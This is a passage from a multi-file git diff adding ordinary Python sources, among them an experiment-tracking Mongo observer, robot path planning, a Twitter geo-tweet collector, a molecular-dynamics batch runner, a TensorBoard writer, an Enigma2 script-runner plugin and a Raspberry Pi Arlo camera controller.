delete=False, + prefix='sacred_mongo_fail_') as f: + pickle.dump(self.run_entry, f) + print("Warning: saving to MongoDB failed! " + "Stored experiment entry in '%s'" % f.name, + file=sys.stderr) + + def started_event(self, ex_info, host_info, start_time, config): + self.run_entry = { + 'experiment': dict(ex_info), + 'host': dict(host_info), + 'start_time': start_time, + 'config': config, + 'status': 'RUNNING', + 'resources': [], + 'artifacts': [], + 'captured_out': '', + 'info': {}, + 'heartbeat': None + } + + self.save() + for source_name, md5 in ex_info['sources']: + if not self.fs.exists(filename=source_name, md5=md5): + with open(source_name, 'rb') as f: + self.fs.put(f, filename=source_name) + + def heartbeat_event(self, info, captured_out, beat_time): + self.run_entry['info'] = info + self.run_entry['captured_out'] = captured_out + self.run_entry['heartbeat'] = beat_time + self.save() + + def completed_event(self, stop_time, result): + self.run_entry['stop_time'] = stop_time + self.run_entry['result'] = result + self.run_entry['status'] = 'COMPLETED' + self.final_save(attempts=10) + + def interrupted_event(self, interrupt_time): + self.run_entry['stop_time'] = interrupt_time + self.run_entry['status'] = 'INTERRUPTED' + self.final_save(attempts=3) + + def failed_event(self, fail_time, fail_trace): + self.run_entry['stop_time'] = fail_time + self.run_entry['status'] = 'FAILED' + self.run_entry['fail_trace'] = fail_trace + self.final_save(attempts=1) + + def resource_event(self, filename): + if self.fs.exists(filename=filename): + md5hash = get_digest(filename) + if self.fs.exists(filename=filename, md5=md5hash): + resource = (filename, md5hash) + if resource not in self.run_entry['resources']: + self.run_entry['resources'].append(resource) + self.save() + return + with open(filename, 'rb') as f: + file_id = self.fs.put(f, filename=filename) + md5hash = self.fs.get(file_id).md5 + self.run_entry['resources'].append((filename, md5hash)) + self.save() + + def artifact_event(self, filename): + with open(filename, 'rb') as f: + head, tail = os.path.split(filename) + run_id = self.run_entry['_id'] + db_filename = 'artifact://{}/{}/{}'.format( + self.run_entry['experiment']['name'], run_id, tail) + file_id = self.fs.put(f, filename=db_filename) + self.run_entry['artifacts'].append(file_id) + self.save() + + def __eq__(self, other): + if isinstance(other, MongoObserver): + return self.runs == other.runs + return False + + def __ne__(self, other): + return not self.__eq__(other) diff --git a/pool/shard009/Python/0082976_robot_bigStep_STEVE_path.py b/pool/shard009/Python/0082976_robot_bigStep_STEVE_path.py new file mode 100644 index 0000000000000000000000000000000000000000..4d3109593023149607d46c865764cf8fb5cb1783 --- /dev/null +++ b/pool/shard009/Python/0082976_robot_bigStep_STEVE_path.py @@ -0,0 +1,89 @@ +from hpp.corbaserver.rbprm.rbprmbuilder import Builder +from hpp.gepetto import Viewer +white=[1.0,1.0,1.0,1.0] +green=[0.23,0.75,0.2,0.5] +yellow=[0.85,0.75,0.15,1] +pink=[1,0.6,1,1] +orange=[1,0.42,0,1] +brown=[0.85,0.75,0.15,0.5] +blue = [0.0, 0.0, 0.8, 1.0] +grey = [0.7,0.7,0.7,1.0] +red = [0.8,0.0,0.0,1.0] + +rootJointType = 'freeflyer' +packageName = 'hpp-rbprm-corba' +meshPackageName = 'hpp-rbprm-corba' +urdfName = 'robot_test_trunk' +urdfNameRom = ['robot_test_lleg_rom','robot_test_rleg_rom'] +urdfSuffix = "" +srdfSuffix = "" + +rbprmBuilder = Builder () +rbprmBuilder.loadModel(urdfName, urdfNameRom, rootJointType, meshPackageName, packageName, urdfSuffix, srdfSuffix) +rbprmBuilder.setJointBounds ("base_joint_xyz", [-6,6, -3, 3, 0, 1.5]) +rbprmBuilder.boundSO3([-0.1,0.1,-3,3,-1.0,1.0]) +rbprmBuilder.setFilter(['robot_test_lleg_rom', 'robot_test_rleg_rom']) +rbprmBuilder.setNormalFilter('robot_test_lleg_rom', [0,0,1], 0.5) +rbprmBuilder.setNormalFilter('robot_test_rleg_rom', [0,0,1], 0.5) + + +#~ from hpp.corbaserver.rbprm. import ProblemSolver +from hpp.corbaserver.rbprm.problem_solver import ProblemSolver + +ps = ProblemSolver( rbprmBuilder ) + +r = Viewer (ps) + +r.loadObstacleModel (packageName, "ground_jump_easy", "planning") + + +q_init = rbprmBuilder.getCurrentConfig (); +q_init [0:3] = [-4, 1, 0.9]; rbprmBuilder.setCurrentConfig (q_init); r (q_init) + + +q_goal = q_init [::] +#q_goal [0:3] = [-2, 0, 0.9]; r (q_goal) # premiere passerelle +q_goal [0:3] = [4, -1, 0.9]; r (q_goal) # pont + + +#~ ps.addPathOptimizer("GradientBased") +ps.addPathOptimizer("RandomShortcut") +#ps.client.problem.selectSteeringMethod("SteeringParabola") +#ps.selectPathPlanner("RRTdynamic") +ps.setInitialConfig (q_init) +ps.addGoalConfig (q_goal) + +ps.client.problem.selectConFigurationShooter("RbprmShooter") +ps.client.problem.selectPathValidation("RbprmPathValidation",0.05) + +r(q_init) + +# (nameRoadmap,numberIt,colorNode,radiusSphere,sizeAxis,colorEdge +r.solveAndDisplay("rm",10,white,0.02,1,brown) + + +#t = ps.solve () + +#r.displayRoadmap("rm",0.005) + +#r.displayPathMap("rmPath",0,0.02) + + + +from hpp.gepetto import PathPlayer +pp = PathPlayer (rbprmBuilder.client.basic, r) + +pp(0) + + +#pp.displayPath(1,blue) +#r.client.gui.setVisibility("path_0_root","ALWAYS_ON_TOP") + + +pp (1) + +#r.client.gui.removeFromGroup("rm",r.sceneName) +#r.client.gui.removeFromGroup("rmPath",r.sceneName) +#r.client.gui.removeFromGroup("path_1_root",r.sceneName) +#~ pp.toFile(1, "/home/stonneau/dev/hpp/src/hpp-rbprm-corba/script/paths/stair.path") + diff --git a/pool/shard009/Python/0082979_gen_script_ops.py b/pool/shard009/Python/0082979_gen_script_ops.py new file mode 100644 index 0000000000000000000000000000000000000000..a6e9919b486024adf1ed692e972454c7d985cd38 --- /dev/null +++ b/pool/shard009/Python/0082979_gen_script_ops.py @@ -0,0 +1,73 @@ +"""Python wrappers around Brain. + +This file is MACHINE GENERATED! Do not edit. +""" + +from google.protobuf import text_format + +from tensorflow.core.framework import op_def_pb2 +from tensorflow.python.framework import op_def_registry +from tensorflow.python.framework import ops +from tensorflow.python.ops import op_def_library + + +def py_func(input, token, Tout, name=None): + r"""Invokes a python function to compute func(input)->output. + + Args: + input: A list of `Tensor` objects. + List of Tensors that will provide input to the Op. + token: A `string`. + A token representing a registered python function in this address space. + Tout: A list of `tf.DTypes` that has length `>= 1`. + Data types of the outputs from the op. + The length of the list specifies the number of outputs. + name: A name for the operation (optional). + + Returns: + A list of `Tensor` objects of type `Tout`. The outputs from the Op. + """ + return _op_def_lib.apply_op("PyFunc", input=input, token=token, Tout=Tout, + name=name) + + +def _InitOpDefLibrary(): + op_list = op_def_pb2.OpList() + text_format.Merge(_InitOpDefLibrary.op_list_ascii, op_list) + op_def_registry.register_op_list(op_list) + op_def_lib = op_def_library.OpDefLibrary() + op_def_lib.add_op_list(op_list) + return op_def_lib + + +_InitOpDefLibrary.op_list_ascii = """op { + name: "PyFunc" + input_arg { + name: "input" + type_list_attr: "Tin" + } + output_arg { + name: "output" + type_list_attr: "Tout" + } + attr { + name: "token" + type: "string" + } + attr { + name: "Tin" + type: "list(type)" + has_minimum: true + } + attr { + name: "Tout" + type: "list(type)" + has_minimum: true + minimum: 1 + } + is_stateful: true +} +""" + + +_op_def_lib = _InitOpDefLibrary() diff --git a/pool/shard009/Python/0082981_twitter_connector.py b/pool/shard009/Python/0082981_twitter_connector.py new file mode 100644 index 0000000000000000000000000000000000000000..530ff66ac2c1ce75bd24d6880c6b3af75883020c --- /dev/null +++ b/pool/shard009/Python/0082981_twitter_connector.py @@ -0,0 +1,93 @@ +#!/usr/bin/python +# (c) Nelen & Schuurmans. GPL licensed. +from __future__ import division, print_function + +from django.conf import settings +import urlparse +from twitter import * +from django.contrib.gis.geos import Point +from lizard_sticky_twitterized.models import StickyTweet +import locale +from datetime import datetime +from django.utils import timezone + + +def search_twitter(*args, **options): + consumer_key = getattr(settings, 'CONSUMER_KEY') + consumer_secret = getattr(settings, 'CONSUMER_SECRET') + access_token = getattr(settings, 'ACCES_TOKEN') + access_secret = getattr(settings, 'ACCES_SECRET') + t = Twitter(auth=OAuth(access_token, access_secret, + consumer_key, consumer_secret)) + search_params = dict(q=args, count=100, geocode="52.09,5.10,160km", + result_type='recent', include_entities='1') + tweets = t.search.tweets(**search_params) + while tweets: + for tweet in tweets.get('statuses'): + writer = TweetWriter(tweet) + writer.store() + next_results = tweets['search_metadata'].get('next_results') + if next_results: + qs = next_results[1:] + qs_dict = urlparse.parse_qs(qs, keep_blank_values=True) + tweets = t.search.tweets(max_id=qs_dict['max_id'][0], + **search_params) + else: + tweets = None + delete_duplicates() + + +def delete_duplicates(): + for row in StickyTweet.objects.all(): + if StickyTweet.objects.filter(status_id=row.status_id).count() > 1: + row.delete() + + +class TweetWriter(): + """ + Stores the content of a tweet if the tweet contains coordinates. + Overwrites old tweets when the specified storage limit has been reached (default 300). + """ + def __init__(self, tweet, limit=3000): + self.tweet = tweet + self.limit = limit + + def store(self): + """ + Either stores geo-coded tweets as new entries or overwrites oldest + """ + tweet = self.tweet + if tweet.get('coordinates') is not None: + if self._full(): + self._store_tweet(StickyTweet.objects.order_by('time')[0]) + else: + self._store_tweet(StickyTweet()) + + def _store_tweet(self, new_tweet): + + tweet = self.tweet + new_tweet.twitter_name = tweet.get('user').get('screen_name') + new_tweet.tweet = tweet.get('text') + new_tweet.status_id = int(tweet.get('id')) + new_tweet.geom = Point( + float(tweet.get('coordinates').get('coordinates')[0]), + float(tweet.get('coordinates').get('coordinates')[1]) + ) + new_tweet.time = self._tweet_time(tweet.get('created_at')) + try: + new_tweet.media_url = tweet.get('entities').get('media')[0].get( + 'media_url') + except (AttributeError, TypeError): + pass + new_tweet.save() + + def _full(self): + limit = self.limit-1 + if StickyTweet.objects.count() > limit: + return True + + def _tweet_time(self, created_at): + locale.setlocale(locale.LC_TIME, "en_US.utf8") + time = datetime.strptime(created_at, + '%a %b %d %H:%M:%S +0000 %Y') + return timezone.make_aware(time, timezone.utc) diff --git a/pool/shard009/Python/0082982_run_min_multiprocessing.py b/pool/shard009/Python/0082982_run_min_multiprocessing.py new file mode 100644 index 0000000000000000000000000000000000000000..2cb368bab827e747e2d3b0e1977a0980e021f7e2 --- /dev/null +++ b/pool/shard009/Python/0082982_run_min_multiprocessing.py @@ -0,0 +1,101 @@ +#!/usr/bin/env python +''' +Example: python run_min_multiprocessing.py -O -p prmtop -c "*.rst7" -i min.in + +Make sure to sue quote " " for pattern +''' + +import os +from multiprocessing import Pool, cpu_count + +def split_range(n_chunks, start, stop): + '''split a given range to n_chunks + + Examples + -------- + >>> split_range(3, 0, 10) + [(0, 3), (3, 6), (6, 10)] + ''' + list_of_tuple = [] + chunksize = (stop - start) // n_chunks + for i in range(n_chunks): + if i < n_chunks - 1: + _stop = start + (i + 1) * chunksize + else: + _stop = stop + list_of_tuple.append((start + i * chunksize, _stop)) + return list_of_tuple + + +def run_each_core(cmlist): + '''run a chunk of total_commands in each core + + Parameters + ---------- + cmlist : a list of commands + ''' + for cm in cmlist: + os.system(cm) + +def get_commands_for_my_rank(total_commands, rank, n_cores): + n_structures = len(total_commands) + start, stop = split_range(n_cores, 0, n_structures)[rank] + return total_commands[start: stop] + +if __name__ == '__main__': + import sys + from glob import glob + import argparse + + try: + sys.argv.remove('-O') + overwrite = '-O' + except ValueError: + overwrite = '' + + description = ''' + Example: mpirun -n 8 python {my_program} -p prmtop -c "*.rst7" -i min.in + '''.strip().format(my_program=sys.argv[0]) + + parser = argparse.ArgumentParser(description=description) + parser.add_argument('-p', dest='prmtop', help='prmtop', required=True) + parser.add_argument('-c', dest='restart_pattern', + required=True, help='pattern to search for rst7 files') + parser.add_argument('-i', dest='mdin', required=True, help='min.in file') + + args = parser.parse_args() + + rst7_files = glob(args.restart_pattern) + + try: + os.mkdir('out') + except OSError: + pass + + command_template = '{sander} {overwrite} -i {minin} -p {prmtop} -c {abspath_rst7} -r min_{rst7} -o out/min_{rst7_no_ext}.out -ref {abspath_rst7}' + + commands = [] + for rst7_file in rst7_files: + # make sure rst7 is relative path + abspath_rst7 = os.path.abspath(rst7_file) + rst7 = rst7_file.split('./')[-1] + restart_ext = '.' + rst7.split('.')[-1] + command = command_template.format( + sander='sander', + overwrite=overwrite, + minin=args.mdin, + prmtop=args.prmtop, + rst7=rst7, + abspath_rst7=abspath_rst7, + rst7_no_ext=rst7.strip(restart_ext)) + commands.append(command) + + n_cores = cpu_count() - 1 + + def run(rank): + myrank_cmlist = get_commands_for_my_rank(commands, rank, n_cores) + run_each_core(myrank_cmlist) + + pool = Pool(n_cores) + pool.map(run, list(range(n_cores))) + pool.close() diff --git a/pool/shard009/Python/0082986_jaxboard.py b/pool/shard009/Python/0082986_jaxboard.py new file mode 100644 index 0000000000000000000000000000000000000000..4e2e66aaded6a5e5c209359a589b0bb62d1db268 --- /dev/null +++ b/pool/shard009/Python/0082986_jaxboard.py @@ -0,0 +1,124 @@ +# Copyright 2020 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import enum +import os +from time import time +from typing import Union, Callable, Tuple, ByteString + +import numpy as np +from tensorboard.compat.proto import event_pb2 +from tensorboard.compat.proto import summary_pb2 +from tensorboard.summary.writer.event_file_writer import EventFileWriter +from tensorboard.util.tensor_util import make_tensor_proto + +from objax import util + + +class Reducer(enum.Enum): + """Reduces tensor batch into a single tensor.""" + FIRST = lambda x: x[0] + LAST = lambda x: x[-1] + MEAN = lambda x: np.mean(x) + + +class DelayedScalar: + def __init__(self, reduce: Union[Callable, Reducer]): + self.values = [] + self.reduce = reduce + + def __call__(self): + return self.reduce(self.values) + + +class Image: + def __init__(self, shape: Tuple[int, int, int], png: ByteString): + self.shape = shape + self.png = png + + +class Text: + def __init__(self, text: str): + self.text = text + + +class Summary(dict): + """Writes entries to `Summary` protocol buffer.""" + + def image(self, tag: str, image: np.ndarray): + """Adds image to the summary. Float image in [-1, 1] in CHW format expected.""" + self[tag] = Image(image.shape, util.image.to_png(image)) + + def scalar(self, tag: str, value: float, reduce: Union[Callable, Reducer] = Reducer.MEAN): + """Adds scalar to the summary.""" + if tag not in self: + self[tag] = DelayedScalar(reduce) + self[tag].values.append(value) + + def text(self, tag: str, text: str): + """Adds text to the summary.""" + self[tag] = Text(text) + + def __call__(self): + entries = [] + for tag, value in self.items(): + if isinstance(value, DelayedScalar): + entries.append(summary_pb2.Summary.Value(tag=tag, simple_value=value())) + elif isinstance(value, Image): + image_summary = summary_pb2.Summary.Image(encoded_image_string=value.png, + colorspace=value.shape[0], + height=value.shape[1], + width=value.shape[2]) + entries.append(summary_pb2.Summary.Value(tag=tag, image=image_summary)) + elif isinstance(value, Text): + metadata = summary_pb2.SummaryMetadata( + plugin_data=summary_pb2.SummaryMetadata.PluginData(plugin_name='text')) + entries.append(summary_pb2.Summary.Value(tag=tag, metadata=metadata, + tensor=make_tensor_proto(values=value.text.encode('utf-8'), + shape=(1,)))) + else: + raise NotImplementedError(tag, value) + return summary_pb2.Summary(value=entries) + + +class SummaryWriter: + """Writes entries to event files in the logdir to be consumed by Tensorboard.""" + + def __init__(self, logdir: str, queue_size: int = 5, write_interval: int = 5): + """Creates SummaryWriter instance. + + Args: + logdir: directory where event file will be written. + queue_size: size of the queue for pending events and summaries + before one of the 'add' calls forces a flush to disk. + write_interval: how often, in seconds, to write the pending events and summaries to disk. + """ + if not os.path.isdir(logdir): + os.makedirs(logdir, exist_ok=True) + + self.writer = EventFileWriter(logdir, queue_size, write_interval) + + def write(self, summary: Summary, step: int): + """Adds on event to the event file.""" + self.writer.add_event(event_pb2.Event(step=step, summary=summary(), wall_time=time())) + + def close(self): + """Flushes the event file to disk and close the file.""" + self.writer.close() + + def __enter__(self): + return self + + def __exit__(self, exc_type, exc_val, exc_tb): + self.close() diff --git a/pool/shard009/Python/0082987_ScriptRunner.py b/pool/shard009/Python/0082987_ScriptRunner.py new file mode 100644 index 0000000000000000000000000000000000000000..2ad5e86f3e6065f6936b473fc1ed3fc3f4c6b37d --- /dev/null +++ b/pool/shard009/Python/0082987_ScriptRunner.py @@ -0,0 +1,69 @@ +from __future__ import print_function + +from os import path, mkdir, listdir, rename + +from . import _, PluginLanguageDomain +from Components.ActionMap import ActionMap +from Components.config import config, ConfigSubsection, ConfigYesNo +from Components.PluginComponent import plugins +from Components.Sources.StaticText import StaticText +from .IPKInstaller import IpkgInstaller +from Screens.Console import Console +from Screens.Screen import Screen +from Screens.Setup import Setup +from Tools.Directories import resolveFilename, SCOPE_PLUGINS + +config.scriptrunner = ConfigSubsection() +config.scriptrunner.close = ConfigYesNo(default=False) +config.scriptrunner.showinextensions = ConfigYesNo(default=False) + + +def updateExtensions(configElement): + plugins.clearPluginList() + plugins.readPluginList(resolveFilename(SCOPE_PLUGINS)) + + +config.scriptrunner.showinextensions.addNotifier(updateExtensions, initial_call=False) + + +def ScriptRunnerAutostart(reason, session=None, **kwargs): + pass + + +class VIXScriptRunner(IpkgInstaller): + def __init__(self, session, list=None): + if not list: + list = [] + if path.exists("/usr/scripts") and not path.exists("/usr/script"): + rename("/usr/scripts", "/usr/script") + if not path.exists("/usr/script"): + mkdir("/usr/script", 0o755) + f = listdir("/usr/script") + for line in f: + parts = line.split() + pkg = parts[0] + if pkg.find(".sh") >= 0: + list.append(pkg) + IpkgInstaller.__init__(self, session, list) + self.setTitle(_("Script runner")) + + self.skinName = ["VIXScriptRunner", "IpkgInstaller"] + self["key_green"] = StaticText(_("Run")) + + self["myactions"] = ActionMap(["MenuActions"], + { + "menu": self.createSetup, + }, -1) + + def createSetup(self): + self.session.open(Setup, "vixscriptrunner", "SystemPlugins/ViX", PluginLanguageDomain) + + def install(self): + list = self.list.getSelectionsList() + cmdList = [] + for item in list: + cmdList.append("chmod +x /usr/script/" + item[0] + " && . " + "/usr/script/" + str(item[0])) + if len(cmdList) < 1 and len(self.list.list): + cmdList.append("chmod +x /usr/script/" + self.list.getCurrent()[0][0] + " && . " + "/usr/script/" + str(self.list.getCurrent()[0][0])) + if len(cmdList) > 0: + self.session.open(Console, cmdlist=cmdList, closeOnSuccess=config.scriptrunner.close.value) diff --git a/pool/shard009/Python/0082990_bcbio.mirna.gff2gtf.py b/pool/shard009/Python/0082990_bcbio.mirna.gff2gtf.py new file mode 100644 index 0000000000000000000000000000000000000000..737da9e0186bb28ef64de2d44fbeabc9482f1e97 --- /dev/null +++ b/pool/shard009/Python/0082990_bcbio.mirna.gff2gtf.py @@ -0,0 +1,23 @@ +#/usr/bin/python +import sys + +inFile = open(sys.argv[1],'r') + +for line in inFile: +#skip comment lines that start with the '#' character + if line[0] != '#': + #split line into columns by tab + data = line.strip().split('\t') + + ID = '' + + #if the feature is a gene + if data[2] == "miRNA": + #get the id + ID = data[-1].split('ID=')[-1].split(';')[0] + + #modify the last column + data[-1] = 'gene_id "' + ID + '"; transcript_id "' + ID + '"' + + #print out this new GTF line + print '\t'.join(data) diff --git a/pool/shard009/Python/0082992_arlobox.py b/pool/shard009/Python/0082992_arlobox.py new file mode 100644 index 0000000000000000000000000000000000000000..c903004a633c81a1880c59c0cf0cd019ff9684d1 --- /dev/null +++ b/pool/shard009/Python/0082992_arlobox.py @@ -0,0 +1,129 @@ +#arlobox.py + +# Netgear Arlo camera automation + +# Monitor the momentary toggle switch in the Raspberry Pi box, +# or the armed state of an external security alarm system, +# then change the arm/disarm mode of the Arlo cameras, +# and set the lights on the box appropriately. + +#Copyright (c) 2016, Len Shustek +#Open source by the MIT License; see LICENSE.txt + +# 11 Aug 2015, L. Shustek, first version +# 14 Sep 2016, L. Shustek, redo using HTTP instead of mouse movement +# 20 Sep 2016, L. Shustek, Add optional delay before arm +# 24 Sep 2016, L. Shustek, Add input from an external security alarm system + +USERNAME = "xxxxxxxxx" +PASSWORD = "yyyyyyyyy" + +from Arlo import Arlo # from https://github.com/jeffreydwalter/arlo, as modified here +import RPi.GPIO as GPIO +import time + +armdelay = 30 # optional delay before arming, in seconds + +# Raspberry Pi's P-1 connector pin numbers for the switches and lights +upswitch = 21 # arm (momentary grounded input) +downswitch = 19 # disarm (momentary grounded input) +alarmswitch = 7 # alarm system on (grounded input) +redled = 23 # "camera armed" LED (output) +greenled = 15 # "camera disarmed" LED (output) + +print("configuring I/O pins...") +GPIO.setmode(GPIO.BOARD) +GPIO.setwarnings(False) +GPIO.setup(upswitch, GPIO.IN, pull_up_down = GPIO.PUD_UP) +GPIO.setup(downswitch, GPIO.IN, pull_up_down = GPIO.PUD_UP) +GPIO.setup(alarmswitch, GPIO.IN, pull_up_down = GPIO.PUD_UP) +GPIO.setup(redled, GPIO.OUT, initial=1) +GPIO.setup(greenled, GPIO.OUT, initial=1) + +def setleds(green,red): + GPIO.output(greenled,green) + GPIO.output(redled,red) + +def blinkleds(times): + for i in range(times): + setleds(0,0) + time.sleep(0.33) + setleds(1,1) + time.sleep(0.33) + +def errorleds(times): + for i in range(times): + setleds(1,0) + time.sleep(0.2) + setleds(0,1) + time.sleep(0.2) + setleds(0,0) + +def waitleds(times): + for i in range(times): + setleds(1,1) + time.sleep(0.25) + setleds(1,0) + time.sleep(0.25) + setleds(1,1) + time.sleep(0.25) + setleds(0,1) + time.sleep(0.25) + +def changemode(arm): + try: + arlo = Arlo(USERNAME,PASSWORD) #log in + basestation = [device for device in arlo.GetDevices() if device['deviceType'] == 'basestation'] + print("basestation="+basestation[0]['deviceId']) + if arm == True: + arlo.Arm(basestation[0]['deviceId'], basestation[0]['xCloudId']) + else: + arlo.Disarm(basestation[0]['deviceId'], basestation[0]['xCloudId']) + arlo.Logout() + return True + except Exception as e: + print(e) + errorleds(10) + return False + +def do_arm(): + if (armdelay > 0): + waitleds(armdelay) + blinkleds(2) + if (changemode(True)): # arm + setleds(0,1) + print("arm succeeded") + +def do_disarm(): + blinkleds(2) + if (changemode(False)): # disarm + setleds(1,0) + print("disarm succeeded") + + +alarm_off = GPIO.input(alarmswitch) #current state of alarm system +blinkleds(5) # flash lights a bunch of times to show we're here + +print("waiting for switch or alarm system...") +while True: + + if (GPIO.input(upswitch) == 0): + print("switch was pushed up") + do_arm() + + if (GPIO.input(downswitch) == 0): + print("switch was pushed down") + do_disarm() + + if (GPIO.input(alarmswitch) != alarm_off): # alarm system state change? + time.sleep(0.5) # debounce time + if (GPIO.input(alarmswitch) != alarm_off): + alarm_off = GPIO.input(alarmswitch) + if (alarm_off): + print("alarm system was disarmed") + do_disarm() + else: + print("alarm system was armed") + do_arm() + +#eof diff --git a/pool/shard009/Python/0082993_init__.py b/pool/shard009/Python/0082993_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..8975aaba0fea5adc5a23ec034ef26b136e0fc8cb --- /dev/null +++ b/pool/shard009/Python/0082993_init__.py @@ -0,0 +1,133 @@ +# ============================================================================= +# Authors: PAR Government +# Organization: DARPA +# +# Copyright (c) 2016 PAR Government +# All rights reserved. +# ============================================================================== + +from __future__ import division +from maskgen.image_wrap import ImageWrapper +import os +import numpy as np +from maskgen.tool_set import shortenName,uniqueId +from maskgen.support import getValue +import maskgen + +from maskgen.algorithms.seam_carving import SeamCarver, SobelFunc, \ +ScharrEnergyFunc,base_energy_function,foward_base_energy_function + + +""" +Seam Carving: Calculate the final mask from seam carving. +""" + +def carveSeams(source,target,shape,mask_filename, approach='backward', energy='Sobel', keep_size=False): + """ + :param img: + :return: + @type img: ImageWrapper + """ + import traceback + import sys + try: + sc = SeamCarver(source, shape=shape, + energy_function=SobelFunc() if energy == 'Sobel' else ScharrEnergyFunc(), + mask_filename=mask_filename, + keep_size = keep_size, + seam_function=foward_base_energy_function if approach == 'forward' else base_energy_function) + image, mask = sc.remove_seams() + except IndexError as ex: + texc_type, exc_value, exc_traceback = sys.exc_info() + traceback.print_tb(exc_traceback, limit=10, file=sys.stdout) + raise ex + maskname = os.path.join(os.path.dirname(source), shortenName(os.path.basename(source),'_real_mask.png', identifier=uniqueId())) + adjusternames= os.path.join(os.path.dirname(source), shortenName(os.path.basename(source), '.png', + identifier=uniqueId())) + finalmaskname = os.path.join(os.path.dirname(source), shortenName(os.path.basename(source), '_final_mask.png', + identifier=uniqueId())) + ImageWrapper(mask).save(os.path.join(os.path.dirname(source), maskname)) + adjusternames_row, adjusternames_col = sc.mask_tracker.save_adjusters(adjusternames) + sc.mask_tracker.save_neighbors_mask(finalmaskname) + ImageWrapper(image).save(target) + return {'neighbor mask': finalmaskname, + 'column adjuster':adjusternames_col, + 'row adjuster': adjusternames_row, + 'plugin mask': maskname} + + +def transform(img, source, target, **kwargs): + img = np.asarray(img) + sizeSource = img.shape + percentageWidth = float(kwargs['percentage_width']) + percentageHeight = float(kwargs['percentage_height']) + pixelWidth = int(sizeSource[1] * percentageWidth) + pixelHeight = int(sizeSource[0] * percentageHeight) + keepSize = 'keepSize' in kwargs and kwargs['keepSize'] == 'yes' + if not keepSize: + if percentageWidth != 1.0: + pixelWidth = pixelWidth - pixelWidth % 4 + if percentageHeight != 1.0: + pixelHeight = pixelHeight - pixelHeight % 4 + sizeDonor = (pixelHeight, pixelWidth) + keepSize = 'keepSize' in kwargs and kwargs['keepSize'] == 'yes' + return {'output_files': carveSeams(source, target, sizeDonor, + kwargs['inputmaskname'] if 'inputmaskname' in kwargs else None, + keep_size=not keepSize, + approach=getValue(kwargs,'approach',defaultValue="backward"), + energy=getValue(kwargs, 'energy', defaultValue="Sobel"))}, None + + +def operation(): + return {'name': 'TransformSeamCarving', + 'category': 'Transform', + 'description': 'Resize donor to size of Input using LQR. Requires GIMP. Set environment variable MASKGEN_GIMP to the gimp binary', + 'software':'maskgen', + 'version':maskgen.__version__[0:3], + 'arguments': { + 'donor': { + 'type': 'donor', + 'defaultvalue': None, + 'description': 'png that contributes size info' + }, + 'inputmaskname': { + 'type': 'file:image', + 'defaultvalue': None, + 'description': 'RGB image. Remove = red; Keep = green; The rest is black.' + }, + 'percentage_width': { + 'type': 'float[0.5:1.0]', + 'defaultvalue': 1, + 'description': 'The percentage of size to keep' + }, + 'percentage_height': { + 'type': 'float[0.5:1.0]', + 'defaultvalue': 1, + 'description': 'The percentage of size to keep' + }, + 'approach': { + 'type': 'list', + "values" : ["forward","backward"], + 'defaultvalue': 'backward', + 'description': 'See literature.' + }, + 'energy': { + 'type': 'list', + "values": ["Sobel", "Scharr"], + 'defaultvalue': 'Sobel', + 'description': 'See literature.' + }, + 'keepSize': { + 'type': 'yesno', + 'defaultvalue': 'no', + 'description': 'After object removal, retain current size or add seams back to restore original size.' + } + }, + 'transitions': [ + 'image.image' + ] + } + + +def suffix(): + return '.png' diff --git a/pool/shard009/Python/0083010_test_kubernetes.py b/pool/shard009/Python/0083010_test_kubernetes.py new file mode 100644 index 0000000000000000000000000000000000000000..d5613fa02a54b3331d624431e3d39fe0af297a24 --- /dev/null +++ b/pool/shard009/Python/0083010_test_kubernetes.py @@ -0,0 +1,130 @@ +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import sys + +from libcloud.utils.py3 import httplib + +from libcloud.container.base import ContainerImage +from libcloud.container.drivers.kubernetes import KubernetesContainerDriver + +from libcloud.test.secrets import CONTAINER_PARAMS_KUBERNETES +from libcloud.test.common.test_kubernetes import KubernetesAuthTestCaseMixin +from libcloud.test.file_fixtures import ContainerFileFixtures +from libcloud.test import MockHttp +from libcloud.test import unittest + + +class KubernetesContainerDriverTestCase(unittest.TestCase, + KubernetesAuthTestCaseMixin): + driver_cls = KubernetesContainerDriver + + def setUp(self): + KubernetesContainerDriver.connectionCls.conn_class = KubernetesMockHttp + KubernetesMockHttp.type = None + KubernetesMockHttp.use_param = 'a' + self.driver = KubernetesContainerDriver(*CONTAINER_PARAMS_KUBERNETES) + + def test_list_containers(self): + containers = self.driver.list_containers() + self.assertEqual(len(containers), 1) + self.assertEqual(containers[0].id, + 'docker://3c48b5cda79bce4c8866f02a3b96a024edb8f660d10e7d1755e9ced49ef47b36') + self.assertEqual(containers[0].name, 'hello-world') + + def test_list_clusters(self): + clusters = self.driver.list_clusters() + self.assertEqual(len(clusters), 2) + self.assertEqual(clusters[0].id, + 'default') + self.assertEqual(clusters[0].name, 'default') + + def test_get_cluster(self): + cluster = self.driver.get_cluster('default') + self.assertEqual(cluster.id, + 'default') + self.assertEqual(cluster.name, 'default') + + def test_create_cluster(self): + cluster = self.driver.create_cluster('test') + self.assertEqual(cluster.id, + 'test') + self.assertEqual(cluster.name, 'test') + + def test_destroy_cluster(self): + cluster = self.driver.get_cluster('default') + result = self.driver.destroy_cluster(cluster) + self.assertTrue(result) + + def test_deploy_container(self): + image = ContainerImage( + id=None, + name='hello-world', + path=None, + driver=self.driver, + version=None + ) + container = self.driver.deploy_container('hello-world', image=image) + self.assertEqual(container.name, 'hello-world') + + def test_get_container(self): + container = self.driver.get_container('docker://3c48b5cda79bce4c8866f02a3b96a024edb8f660d10e7d1755e9ced49ef47b36') + assert container.id == 'docker://3c48b5cda79bce4c8866f02a3b96a024edb8f660d10e7d1755e9ced49ef47b36' + + +class 